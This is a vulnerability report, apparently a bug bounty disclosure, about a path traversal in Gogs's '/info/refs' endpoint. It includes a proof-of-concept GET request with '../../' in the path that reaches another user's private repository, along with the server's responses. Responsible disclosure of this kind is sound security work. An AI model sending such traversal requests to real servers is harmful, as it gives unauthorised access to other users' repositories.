Path Traversal vulnerability on the endpoint '/info/refs' in gogs/gogs
Valid
Reported on
Jun 2nd 2022
Summary
It seems "gogs" suffers from a Path Traversal which may lead a malicious user to access another legitimate user's git config files or issue a couple of git commands on its behalf.
Steps to reproduce and Proof of Concept
- I created two users sim4n6 and sim4n62.
- From sim4n6 dashboard added test2 repository. And, from sim4n62 I added a tests repository.
- Initiate the following GET request (PoC) using sim4n6 authentication cookies.
GET /sim4n6/test2/../../sim4n62/tests/info/refs?service=git-receive-pack HTTP/1.1
Host: localhost:10880
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <deleted>
You will get a 200 OK
status code:
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0, must-revalidate
Content-Type: application/x-git-receive-pack-advertisement
Expires: Fri, 01 Jan 1980 00:00:00 GMT
Pragma: no-cache
Date: Thu, 02 Jun 2022 23:16:27 GMT
Content-Length: 216
Connection: close
001f# service=git-receive-pack
000000b10000000000000000000000000000000000000000 capabilities^{}
While in the normal (not malicious) case, sim4n6 can initiate the following GET request:
GET /sim4n6/test2/info/refs?service=git-receive-pack HTTP/1.1
Host: localhost:10880
<deleted for brievety>
and get the following HTTP response:
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0, must-revalidate
Content-Type: application/x-git-receive-pack-advertisement
Expires: Fri, 01 Jan 1980 00:00:00 GMT
Pragma: no-cache
Date: Thu, 02 Jun 2022 23:23:22 GMT
Content-Length: 218
Connection: close
001f# service=git-receive-pack
000000b3da9a744ed8f8d6883ca93758f3900028e61e9ad4 refs/heads/master
Even if the sim4n62's repository is private, the same thing happens.
Impact
This Path Traversal can lead a malicious user to issue the route "/info/refs" on behalf of any other user. This is due to the line L301 (sink) provided directly from the service handler (source a URL).
This vulnerability has an effect somehow like a Horizontal IDOR.